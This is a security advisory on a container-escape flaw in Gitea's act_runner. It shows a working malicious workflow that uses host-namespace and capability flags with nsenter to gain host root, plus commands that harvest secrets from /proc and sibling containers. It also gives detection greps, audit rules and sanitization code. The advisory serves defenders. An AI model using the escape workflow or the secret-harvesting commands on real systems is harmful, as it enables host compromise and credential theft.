TECH OPS > IT Security > Security Advisory
Executive Summary
A critical vulnerability in Gitea Runner (act_runner) allows untrusted workflow authors to escape container isolation and execute arbitrary commands as root on the underlying host system. The flaw stems from incomplete sanitization of Docker container options in workflow YAML files. Even when administrators explicitly disable privileged mode on the runner, dangerous flags such as --pid=host, --ipc=host, and --cap-add=ALL pass through unfiltered, enabling full host compromise via standard utilities like nsenter.
Affected deployments: All versions of act_runner using Docker execution. Severity: Critical for shared runners with untrusted users; High for single-tenant runners where privileged mode was disabled as a security control.
Immediate action required: Audit runner configurations, restrict untrusted workflow execution, and apply code-level fixes or operational workarounds outlined below.
What Is the Vulnerability?
How the Flaw Works: Incomplete Sanitization of Container Options
The vulnerability exists in how act_runner processes the jobs.<job_id>.container.options field from workflow YAML files. When a workflow author specifies custom Docker CLI parameters, act_runner merges these directly into the Docker container’s HostConfig structure without adequate filtering.
The attack chain unfolds as follows:
- Input acceptance: Workflow YAML includes arbitrary Docker options under
container.options - Parsing:
RunContext.options()appends these untrusted parameters to runner-level options - Configuration merge:
mergeContainerConfigs()converts Docker CLI flags intoHostConfigfields - Incomplete filtering:
sanitizeConfig()only removesBindsandMounts—leaving namespace and capability flags intact - Container creation: Docker daemon receives
HostConfigwith dangerous flags enabled
The result: a container with Privileged=false but with PidMode=host, IpcMode=host, and CapAdd=[ALL] simultaneously active.
Why Disabling Privileged Mode Doesn’t Protect You
Administrators often assume that setting Privileged: false in runner configuration provides adequate isolation. This assumption is incorrect for this vulnerability.
The Privileged flag in Docker is a single boolean that grants broad capabilities. However, it is not the only mechanism for accessing host resources. The following Docker options independently provide host-level access:
| Option | Effect | Bypasses Privileged=false? |
|---|---|---|
--pid=host |
Share host PID namespace | ✓ Yes |
--ipc=host |
Share host IPC namespace | ✓ Yes |
--uts=host |
Share host UTS namespace | ✓ Yes |
--network=host |
Use host network stack | ✓ Yes |
--cap-add=ALL |
Grant all Linux capabilities | ✓ Yes |
--security-opt seccomp=unconfined |
Disable seccomp filtering | ✓ Yes |
Because act_runner does not strip these options when Privileged=false, an attacker can achieve the same effect as privileged mode through alternative means.
The Attack Path: From Workflow YAML to Host Root Access
Step 1: Malicious Workflow Submission
An attacker with repository write access (or via a pull request on a public repository) submits a workflow file containing:
jobs:
exploit:
runs-on: ubuntu-latest
container:
image: ubuntu:22.04
options: >-
--pid=host
--ipc=host
--cap-add=ALL
--security-opt seccomp=unconfined
--security-opt apparmor=unconfined
steps:
- name: Escape to host
run: nsenter -t 1 -m -u -i -n -p -- /bin/bash
Step 2: Workflow Execution
act_runner parses this YAML and constructs a Docker container with:
Privileged: false(runner default)PidMode: host(from workflow options)IpcMode: host(from workflow options)CapAdd: [ALL](from workflow options)
Step 3: Container Escape
The nsenter utility, combined with host namespace access and full capabilities, allows the attacker to:
- Target PID 1 (the host’s init process)
- Switch to the host’s mount, UTS, IPC, network, and PID namespaces
- Execute arbitrary commands as root on the underlying system
Step 4: Post-Exploitation
Once root access is achieved, the attacker can:
- Extract CI/CD secrets and API tokens from environment variables
- Access Docker socket to compromise sibling containers
- Pivot to internal infrastructure networks
- Persist backdoors or cryptocurrency miners
- Exfiltrate source code and intellectual property
Who Is Affected?
Shared or Multi-Tenant act_runner Deployments
Organizations running a single act_runner instance to execute workflows from multiple repositories or teams face the highest risk. In these environments:
- Public repositories automatically execute workflows from any contributor’s pull request
- Internal repositories may accept pull requests from external contractors or partner organizations
- Shared runners reduce infrastructure costs but concentrate risk
Risk level: CRITICAL
Runners with Public Repositories or Open Pull Request Triggers
Any act_runner configured to automatically execute workflows triggered by:
- Pull requests from forks
- External contributor submissions
- Webhook events from untrusted sources
These configurations assume workflow authors are trustworthy—an assumption that breaks when the workflow itself is the attack vector.
Risk level: CRITICAL
Single-Tenant Runners Where Privileged Mode Was Explicitly Disabled
Organizations that disabled privileged mode as a deliberate security hardening measure are directly impacted. The vulnerability bypasses this control entirely, making the security investment ineffective.
Risk level: HIGH
Real-World Attack Scenarios
Scenario 1: Container Escape Using nsenter and Host Namespaces
Attacker profile: Malicious external contributor to a public open-source project
Attack execution:
- Attacker forks the target repository
- Attacker creates a branch with a modified
.github/workflows/build.ymlfile - Attacker submits a pull request with the malicious workflow
- Repository maintainer reviews code changes (which appear benign) and merges the PR
act_runnerautomatically executes the workflow on the shared runner- Workflow container spawns with
--pid=host --cap-add=ALL nsenter -t 1 -m -u -i -n -p -- idexecutes as root on the host- Attacker gains shell access to the runner host
Impact: Full host compromise, access to all concurrent job containers, credential theft.
Scenario 2: Extracting Secrets and Lateral Movement After Breakout
Attacker profile: Insider threat with repository write access
Attack execution:
- Attacker commits a workflow that escapes to host and exfiltrates secrets
- Workflow runs and attacker gains root shell on runner
- Attacker inspects
/procto find environment variables of sibling containers:
nsenter -t 1 -m -u -i -n -p -- cat /proc/*/environ | grep -i "token\|secret\|key"
- Attacker accesses Docker socket to inspect running containers:
nsenter -t 1 -m -u -i -n -p -- docker ps
nsenter -t 1 -m -u -i -n -p -- docker exec <container_id> env
- Attacker extracts deployment credentials, Gitea API tokens, and cloud provider keys
- Attacker uses stolen credentials to access production infrastructure
- Attacker establishes persistence by modifying cron jobs or systemd services on the host
Impact: Lateral movement to production systems, data breach, supply chain compromise.
How to Detect Exploitation Attempts
Static Scanning: Identifying Dangerous Workflow Patterns
Implement automated scanning of workflow files in your repositories to flag suspicious patterns before they execute.
Scanning approach:
Search .gitea/workflows/*.yml and .github/workflows/*.yml files for dangerous container.options patterns:
# Detect host namespace options
grep -r "\-\-pid=host\|\-\-ipc=host\|\-\-uts=host\|\-\-network=host" .gitea/workflows/ .github/workflows/
# Detect capability expansion
grep -r "\-\-cap-add" .gitea/workflows/ .github/workflows/
# Detect security profile disablement
grep -r "seccomp=unconfined\|apparmor=unconfined" .gitea/workflows/ .github/workflows/
Integration: Add this scanning to:
- Pre-commit hooks (block commits with dangerous patterns)
- Pull request CI checks (flag PRs with suspicious workflows)
- Repository scanning tools (GitLab/GitHub security scanning)
Runtime Monitoring: Docker Daemon and Process Execution Alerts
Monitor the Docker daemon and process execution on runner hosts for signs of exploitation.
Docker daemon monitoring:
# Monitor for container creation with host namespaces
docker events --filter 'type=container' --filter 'action=create' | \
grep -E "PidMode.*host|IpcMode.*host|CapAdd.*ALL"
Alert conditions:
- Container creation with
HostConfig.PidMode=hostoriginating fromact_runnerprocess - Container creation with
HostConfig.CapAddcontainingALLorSYS_ADMIN - Container creation with
HostConfig.SecurityOptcontainingseccomp=unconfined
Process execution monitoring:
# Alert on nsenter execution targeting PID 1
auditctl -w /usr/bin/nsenter -p x -k nsenter_execution
ausearch -k nsenter_execution | grep "nsenter.*-t 1"
Alert conditions:
- Execution of
nsenterfrom within a container nsentertargeting PID 1 or host namespaces- Execution of privileged commands (
id,whoami,cat /etc/shadow) from container context
Log Indicators to Watch For
Docker daemon logs (/var/lib/docker/containers/*/*/json.log):
"HostConfig":{"PidMode":"host","IpcMode":"host","CapAdd":["ALL"]}
Kernel audit logs (auditctl):
type=EXECVE msg=audit(...): argc=5 a0="nsenter" a1="-t" a2="1" a3="-m" a4="-u"
Container runtime logs (containerd/cri-o):
container_create request with host_pid=true and cap_add=[ALL]
act_runner logs:
"Creating container with options: --pid=host --cap-add=ALL"
Immediate Mitigation Actions
Code-Level Fix: Sanitizing Container Options in act_runner
The definitive fix requires modifying act_runner source code to treat container.options as untrusted input and strip dangerous flags.
Implementation approach:
Modify the sanitizeConfig() function (or create a new sanitizeContainerOptions() function) to reject or strip the following when Privileged=false:
// Pseudo-code for sanitization logic
func sanitizeContainerOptions(options string, privilegedMode bool) string {
if !privilegedMode {
// Block host namespace options
options = stripOption(options, "--pid=host")
options = stripOption(options, "--ipc=host")
options = stripOption(options, "--uts=host")
options = stripOption(options, "--network=host")
// Block capability expansion
options = stripOption(options, "--cap-add=ALL")
options = stripOption(options, "--cap-add=SYS_ADMIN")
options = stripOption(options, "--cap-add=SYS_PTRACE")
// Block security profile disablement
options = stripOption(options, "--security-opt=seccomp=unconfined")
options = stripOption(options, "--security-opt=apparmor=unconfined")
// Block device access
options = stripOption(options, "--device")
options = stripOption(options, "--device-cgroup-rule")
// Block volume mounts from other containers
options = stripOption(options, "--volumes-from")
}
return options
}
Deployment: Apply this fix by:
- Updating
act_runnerto the patched version - Restarting all runner instances
- Validating that existing workflows still function (non-malicious workflows should not use these options)
Operational Workaround: Ephemeral VM-Based Runners
If code-level patching is delayed, isolate job execution using ephemeral virtual machines instead of persistent container hosts.
Implementation:
- Deploy
act_runneron short-lived VM instances (e.g., AWS EC2 spot instances, Google Cloud Preemptible VMs) - Configure the runner to execute a single job, then terminate the VM
- Use infrastructure-as-code (Terraform, CloudFormation) to provision fresh VMs for each job
Benefits:
- Even if a container escape occurs, the attacker gains access only to an ephemeral VM with no persistent data
- Secrets and credentials are not stored on the VM; they are injected at runtime
- Lateral movement to other jobs is impossible (each job runs on a separate VM)
Trade-offs:
- Increased infrastructure costs (VM provisioning overhead)
- Longer job execution time (VM startup latency)
- Complexity in managing VM lifecycle and cleanup
Access Control: Restricting Untrusted Workflow Execution
Implement repository and runner policies to prevent untrusted users from triggering workflows.
Gitea-level controls:
- Disable workflow execution for external pull requests:
- In repository settings, disable “Allow workflows to run on pull requests from forks”
- Require manual approval for workflows from external contributors
- Restrict runner access:
- Create separate runner groups for trusted and untrusted workflows
- Assign public repositories to isolated runners with minimal permissions
- Assign internal repositories to runners with broader capabilities
- Require workflow approval:
- Implement a policy requiring code review and approval before workflows execute
- Use branch protection rules to enforce this
Runner-level controls:
- Disable public repository execution:
- Configure runners to only accept jobs from private repositories
- Use runner labels to segregate workloads
- Implement workflow validation:
- Pre-execute workflow validation to reject files with dangerous patterns
- Log all workflow executions for audit purposes
Technical Deep Dive: The Vulnerability Mechanism
Source-to-Sink Flow: Input Parsing Through Container Creation
The vulnerability follows a clear data flow from untrusted input (workflow YAML) to dangerous output (Docker API call):
Workflow YAML
↓
jobs.<job_id>.container.options (untrusted string)
↓
ContainerSpec.Options field
↓
RunContext.options() method (appends to runner options)
↓
mergeContainerConfigs() function (parses Docker CLI flags)
↓
Docker HostConfig structure
↓
Docker daemon API call (CreateContainer)
↓
Container spawned with dangerous flags
Each step in this chain assumes the previous step has validated the input. None of them do.
Incomplete Filtering: What sanitizeConfig() Actually Does
The current sanitizeConfig() function in act_runner performs minimal filtering:
// Current implementation (vulnerable)
func sanitizeConfig(config *container.HostConfig) {
// Only removes Binds and Mounts
config.Binds = nil
config.Mounts = nil
// Everything else passes through unchanged
}
This function was designed to prevent container escape via volume mounts, not via namespace sharing or capability expansion. It is insufficient for the threat model of untrusted workflow authors.
Preserved HostConfig Flags That Enable Escape
The following HostConfig fields remain unfiltered and enable container escape:
| Field | Dangerous Value | Escape Mechanism |
|---|---|---|
PidMode |
"host" |
nsenter -t 1 targets host PID 1 |
IpcMode |
"host" |
Shared IPC allows cross-container communication |
UTSMode |
"host" |
Shared hostname/domainname |
NetworkMode |
"host" |
Direct access to host network stack |
CapAdd |
["ALL"] or ["SYS_ADMIN"] |
Grants CAP_SYS_PTRACE, CAP_SYS_ADMIN for namespace manipulation |
SecurityOpt |
["seccomp=unconfined"] |
Disables syscall filtering |
SecurityOpt |
["apparmor=unconfined"] |
Disables AppArmor confinement |
When any of these are set to permissive values, a container can escape to the host using standard utilities.

Threat Assessment and Risk Levels
Critical Severity: Shared Runners with Untrusted Users
Conditions:
- Single
act_runnerinstance serving multiple repositories - Public repositories or repositories accepting external pull requests
- Workflows execute automatically on PR submission
- No manual approval required
Risk factors:
- Exploitability: Trivial (standard YAML syntax, no zero-day required)
- Impact: Total host compromise (root access)
- Likelihood: High (attackers actively target CI/CD systems)
- Blast radius: All concurrent jobs, all secrets, all infrastructure access
CVSS v3.1 Score: 9.8 (Critical)
High Severity: Single-Tenant Runners with Disabled Privileged Mode
Conditions:
act_runnerserves a single organization or team- Privileged mode explicitly disabled as security control
- Internal users have repository write access
- Insider threat or compromised developer account possible
Risk factors:
- Exploitability: Trivial (same as above)
- Impact: Total host compromise (privileged mode bypass)
- Likelihood: Medium (requires insider or account compromise)
- Blast radius: All secrets, all infrastructure access
CVSS v3.1 Score: 8.2 (High)
Exploitability: Why This Requires No Zero-Day Exploits
This vulnerability is trivially exploitable because:
- No kernel exploits required:
nsenteris a standard Linux utility included in most distributions - No container runtime vulnerabilities needed: Docker correctly implements the requested configuration
- No privilege escalation required: The attacker already has the necessary capabilities within the container
- Standard YAML syntax: Workflow files use documented Docker CLI options
- No authentication bypass: The attacker only needs repository write access (which they may already have)
An attacker with basic Linux knowledge can exploit this vulnerability in minutes.
Affected Versions and Products
All Releases of act_runner Using Docker Execution
Affected product: Gitea Runner (act_runner)
Affected versions: All versions that support the container.options field in workflow YAML and use Docker as the execution backend.
Unaffected configurations:
act_runnerusing Kubernetes backend (different execution model)act_runnerusing VM-based execution (no container escape possible)- Workflows that do not use
container.optionsfield (though this is not a reliable mitigation)
Scope of Impact Across Gitea Deployments
Estimated impact:
- All public Gitea instances with
act_runnerenabled - All private Gitea instances accepting external pull requests
- All organizations using shared
act_runnerinstances
Mitigation status:
- No official patch released at time of writing
- Workarounds available (ephemeral VMs, access control)
- Code-level fix requires
act_runnersource modification
FAQ
Why does setting Privileged: false on the runner fail to block container breakouts?
Setting Privileged: false only controls Docker’s single Privileged boolean flag. This flag grants a broad set of capabilities and host access, but it is not the only way to access host resources.
The vulnerability exploits alternative Docker options (--pid=host, --cap-add=ALL, etc.) that independently provide host-level access. Because act_runner does not strip these options when Privileged=false, an attacker can achieve the same effect through a different mechanism.
Think of it like a security door with a broken lock: even if you disable the main lock mechanism, the door can still be opened through an unguarded side entrance.
What fields does act_runner currently sanitize in container configurations?
In affected versions, sanitizeConfig() only filters:
Binds(volume mount paths)Mounts(volume mount objects)
All other HostConfig fields pass through unfiltered, including:
- Namespace sharing options (
PidMode,IpcMode,UTSMode,NetworkMode) - Capability expansion (
CapAdd) - Security profile disablement (
SecurityOpt) - Device access (
Devices,DeviceCgroupRules) - Volume inheritance (
VolumesFrom)
Who is at highest risk from this vulnerability?
Highest risk:
- Organizations running shared
act_runnerinstances for multiple teams/repositories - Open-source projects accepting pull requests from untrusted contributors
- Public repositories with automatic workflow execution enabled
Secondary risk:
- Organizations with disabled privileged mode as a security control
- Environments with insider threat concerns
- Deployments with weak access controls on repository write permissions
Can I safely use act_runner with public repositories?
Current answer: No. Public repositories with automatic workflow execution are vulnerable to this attack.
Safe alternatives:
- Disable automatic workflow execution for external pull requests
- Require manual approval before running workflows from forks
- Use ephemeral VM-based runners instead of persistent container hosts
- Implement strict workflow validation to reject dangerous patterns
- Upgrade to a patched version of
act_runneronce available
How do I know if my runner has been compromised?
Indicators of compromise:
- Log evidence:
- Docker daemon logs showing container creation with
PidMode=hostorCapAdd=ALL - Kernel audit logs showing
nsenterexecution from container context act_runnerlogs showing unusual workflow execution patterns
- Process evidence:
nsenterprocess spawned from within a container- Privileged commands executed from container context
- Unexpected network connections from runner host
- Filesystem evidence:
- Modified cron jobs or systemd services on runner host
- Unexpected files in
/tmpor home directories - Modified SSH keys or authorized_hosts files
- Behavioral evidence:
- Unusual resource consumption (CPU, memory, network)
- Unexpected outbound connections to external IPs
- Failed login attempts or privilege escalation attempts in logs
Investigation steps:
- Isolate the runner host from the network immediately
- Preserve logs and filesystem for forensic analysis
- Rotate all secrets and credentials used by the runner
- Audit all jobs executed on the runner in the past 30 days
- Check for lateral movement to other infrastructure
What is the difference between blocking –cap-add and setting Privileged: false?
| Aspect | Privileged: false |
--cap-add blocking |
|---|---|---|
| Scope | Controls Docker’s privileged mode flag | Controls individual Linux capabilities |
| Granularity | All-or-nothing (true/false) | Per-capability control |
| Escape vector | Blocks privileged mode but not alternatives | Blocks specific dangerous capabilities |
| Effectiveness | Insufficient alone (this vulnerability) | Necessary but requires comprehensive list |
| Bypass difficulty | Easy (use --pid=host instead) |
Hard (requires multiple capabilities) |
Best practice: Use both together. Set Privileged: false AND block dangerous capabilities like SYS_ADMIN, SYS_PTRACE, and ALL.
References
- Gitea Runner Repository: https://gitea.io/en-us/
- Docker Security Best Practices: https://docs.docker.com/engine/security/
- Linux Namespaces Documentation: https://man7.org/linux/man-pages/man7/namespaces.7.html
- nsenter Utility Manual: https://man7.org/linux/man-pages/man1/nsenter.1.html
- NIST Container Security Guide: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-190.pdf
- CIS Docker Benchmark: https://www.cisecurity.org/benchmark/docker
Document Version: 1.0
Last Updated: 2024
Classification: Security Advisory
Distribution: Internal Use / Affected Organizations